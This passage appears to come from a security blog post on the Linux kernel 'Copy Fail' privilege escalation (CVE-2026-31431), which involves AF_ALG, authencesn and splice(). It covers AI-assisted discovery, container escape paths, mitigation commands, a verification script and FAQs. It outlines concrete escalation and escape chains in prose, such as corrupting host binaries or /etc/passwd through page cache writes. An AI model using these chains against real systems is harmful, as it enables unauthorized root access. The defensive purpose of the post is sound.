No individual code review of any single component would catch this. Each piece is internally coherent. The scratch write in `authencesn` looks like a normal buffer manipulation. The splice path in `algif_aead` looks like a legitimate zero-copy optimization. The in-place change looks like a straightforward performance improvement. The intersection -- that a page cache page could end up as a writable destination for an algorithm that writes past its legitimate output boundary -- requires holding all three simultaneously in mind.

Kernel security reviews tend to focus on individual subsystems. The crypto subsystem and the VFS/page cache subsystem are maintained by different groups. The `AF_ALG` interface is a bridge between them, but the security properties of that bridge -- specifically, what types of memory can end up in a scatterlist and whether every algorithm in the crypto subsystem respects the write boundary contract -- were not formally characterized.

Existing bug-finding tools have similar limitations. Fuzzing `AF_ALG` with random inputs finds crashes and memory safety bugs but not logic bugs where a controlled, non-crashing write goes to the wrong place. Symbolic execution of `authencesn` finds the scratch write but doesn't automatically recognize that the destination could be page cache memory rather than a normal buffer. Cross-subsystem semantic analysis at this level of depth requires either human expertise spanning both subsystems or a tool capable of tracking page provenance across subsystem boundaries.

Taeyang Lee bridged this gap by formulating the right hypothesis: "splice() can deliver page-cache references of read-only files to crypto TX scatterlists." That hypothesis is narrow and specific. It named the exact mechanism that creates the dangerous condition. Given that hypothesis as context, automated analysis of the crypto subsystem could identify `authencesn` as the only algorithm that writes past its output boundary. The connection from hypothesis to bug to exploit was hours of automated analysis, not weeks of manual review.

This is the same pattern as the [Claude Mythos Firefox finding](https://sudosecurity.org/claude-mythos-firefox-150-271-zero-days-project-glasswing/) – AI tooling doesn't replace the researcher's initial insight. It scales and accelerates the exploration once the right question is formulated. A researcher who knows which rock to look under uses the tool to systematically check everything under and around that rock.

## What Are the Container Escape and Kubernetes Implications?

The disclosure explicitly flags that page cache is shared across container boundaries and that Part 2 covers the container escape path. We don't yet have the full details of Part 2, but the mechanism is clear from first principles.

On a container host:

- The page cache is not namespaced. It is a global kernel data structure.
- A containerized process that can access `AF_ALG` (which is available by default unless the seccomp profile blocks it) can execute `write4` against any file readable by its user.
- Container filesystem isolation (mount namespaces) controls which files the container can see at the VFS layer. But if a container can access a file -- even a read-only bind mount from the host -- it can splice that file's pages into `AF_ALG` and corrupt them in the page cache.
- The corrupted page is immediately visible to all processes on the host and in all containers sharing the same host kernel.  
The practical attack chain:
1. A container with a world-readable bind mount of a host binary (common in Kubernetes for shared tooling, log aggregators, or monitoring agents)
2. Use `write4` to corrupt that binary's page cache pages
3. Any process on the host that executes that binary runs the modified code  
Alternatively: if a Kubernetes pod can read `/etc/passwd` from the node (via a `hostPath` volume or through a node agent), the `/etc/passwd` exploit path works against the host from a container.

**Immediate action for Kubernetes clusters:**

Apply the seccomp profile to block `AF_ALG` in all pods:

```yaml
spec:
  securityContext:
    seccompProfile:
      type: RuntimeDefault    # Docker and containerd default profiles block AF_ALG

```

Most container runtimes' default seccomp profiles already block `AF_ALG` socket creation. Verify your runtime's default profile includes `socket` with `AF_ALG` blocked. If you're running pods with `seccompProfile: Unconfined` or no seccomp profile, those pods are vulnerable.

Also block at the node level:

```bash
# On each Kubernetes node
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null

```

This prevents the module from loading even if a container bypasses the seccomp filter (e.g., via a privileged pod or a container escape).

## What Does a Full Post-Incident Verification Look Like?

After applying the kernel patch and removing the module blacklist, run a comprehensive verification:

```bash
#!/bin/bash
# verify-cve-2026-31431.sh
 
echo "=== CVE-2026-31431 Verification ==="
echo
 
echo "Kernel version:"
uname -r
echo
 
echo "algif_aead module status:"
if lsmod | grep -q algif_aead; then
    echo "  LOADED (unexpected if patch is applied correctly)"
else
    echo "  NOT LOADED (expected)"
fi
echo
 
echo "modprobe blacklist check:"
if [ -f /etc/modprobe.d/disable-algif-aead.conf ]; then
    echo "  Blacklist file present: $(cat /etc/modprobe.d/disable-algif-aead.conf)"
    echo "  WARNING: If kernel is patched, remove the blacklist and re-test"
else
    echo "  No blacklist (relying on kernel patch)"
fi
echo
 
echo "Running detection script:"
if python3 test_cve_2026_31431.py; then
    echo "  Exit 0: NOT VULNERABLE"
else
    EXIT=$?
    if [ $EXIT -eq 2 ]; then
        echo "  Exit 2: VULNERABLE -- apply mitigation immediately"
        echo ""
        echo "  Applying mitigation..."
        sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
        sudo rmmod algif_aead 2>/dev/null
        echo "  Mitigation applied. Re-run after kernel update."
    fi
fi
echo
 
echo "=== Verification complete ==="

```

Run this script on every Linux host in your environment. Save the output. Re-run after applying kernel patches to confirm the fix is in place.

## What Does This Tell Us About Linux Kernel Security?

Copy Fail is not the last bug of this class. The Linux kernel's security surface is vast, evolving, and reviewed by people with deep expertise in individual subsystems who cannot simultaneously hold the entire kernel in their heads. The page cache, VFS, crypto, networking, and scheduler subsystems each have specialists. The bugs that escape review are the ones that exist at the boundaries between those specialties.

The relevant precedents:

**Dirty COW (CVE-2016-5195):** A race condition in the VM copy-on-write path, present since 2007, that allowed writes to read-only memory mappings. Required winning a race.

**Dirty Pipe (CVE-2022-0847):** A bug in the pipe buffer implementation that allowed arbitrary writes to read-only files. Required specific pipe buffer state that was harder to control.

**Copy Fail (CVE-2026-31431):** A straight-line logic flaw across three subsystems, no race conditions, no timing windows, deterministic and portable. The exploit is simpler than either predecessor.

Each generation of bug is more accessible to exploit -- fewer preconditions, fewer retries, more portable across distributions. This is partly because lower-hanging fruit gets fixed, but also because the exploit techniques improve and the attack surface for multi-subsystem interaction grows as the kernel adds complexity.

The finding mechanism also changed. Dirty COW and Dirty Pipe were found by human researchers. Copy Fail was AI-assisted. The initial insight was human -- Taeyang Lee's hypothesis about page cache pages in crypto scatterlists -- but the systematic search across the entire crypto subsystem that confirmed and connected the components was automated. This is not the last time a "boring" kernel subsystem will yield critical bugs via this kind of AI-assisted cross-subsystem analysis.

For sysadmins and developers: patch quickly, apply mitigations as an intermediate measure, and start treating multi-subsystem interaction as a first-class concern in security reviews. For security researchers: the methodology that found Copy Fail -- formulate a precise hypothesis about a dangerous interaction, then systematically explore all reachable code paths that match the hypothesis -- is replicable across dozens of other kernel subsystem boundaries that haven't been looked at yet.

---

## Frequently Asked Questions

### Does CVE-2026-31431 require network access?

No. This is a local privilege escalation. The attacker needs a local user account on the target system. Remote exploitation is not possible with the published PoC -- but a compromised user account, a malicious container running on a shared host, or an SSH session with a normal user login are all sufficient starting points.

### Does this affect the Windows Subsystem for Linux (WSL)?

WSL2 runs a real Linux kernel. Check the kernel version WSL2 is using (`uname -r` inside a WSL2 shell). If the kernel predates the fix and `AF_ALG` is accessible, WSL2 is affected. WSL2 kernels are updated by Windows Update; check that your WSL2 kernel is current. WSL1 uses a translation layer rather than a real kernel and is not affected.

### Does running as a container with a non-root user prevent the exploit?

Within a container, the exploit requires a user with a 4-digit UID for the `/etc/passwd` path, or knowledge of the target binary's offset for the code injection path. A containerized non-root user with a standard UID in the 1000-9999 range is vulnerable within the container and, depending on mount configuration, may be able to corrupt the host.

### Is this exploitable remotely via a web server running as a non-root user?

If the web server process has a UID in the 1000-9999 range and runs on a vulnerable kernel without the module blacklist, then yes, an attacker who achieves code execution in the web server process (e.g., via a deserialization vulnerability or RCE bug) could use `write4` to escalate to root. This is a chaining scenario -- the attacker already needs code execution on the server.

### Does AppArmor or SELinux block this?

Potentially. An AppArmor profile or SELinux policy that denies `socket(AF_ALG, ...)` or blocks `splice()` to `AF_ALG` sockets will prevent the exploit. Neither AppArmor nor SELinux block these calls by default. Custom policies that restrict crypto socket usage or set strict network policy on unconfined domains may provide partial protection, but the kernel-level module blacklist is the reliable mitigation.

---

Disclosure was April 29, 2026\. The upstream fix landed April 1, 2026\. Apply the module blacklist now. Apply the kernel update when it arrives in your distro's repository. Run the detection script to confirm you're clean.

For ongoing CVE coverage, check the [CoderOasis cybersecurity section](https://sudosecurity.org/topic/security/). If you're running containers or Kubernetes on Linux -- and the container escape implications of this bug matter for your threat model -- the [self-hosted stack guide](https://sudosecurity.org/self-hosted-productivity-stack-nextcloud-vaultwarden-immich-jellyfin-paperless-2026/) covers the isolation and security configuration that applies across all Docker-based deployments.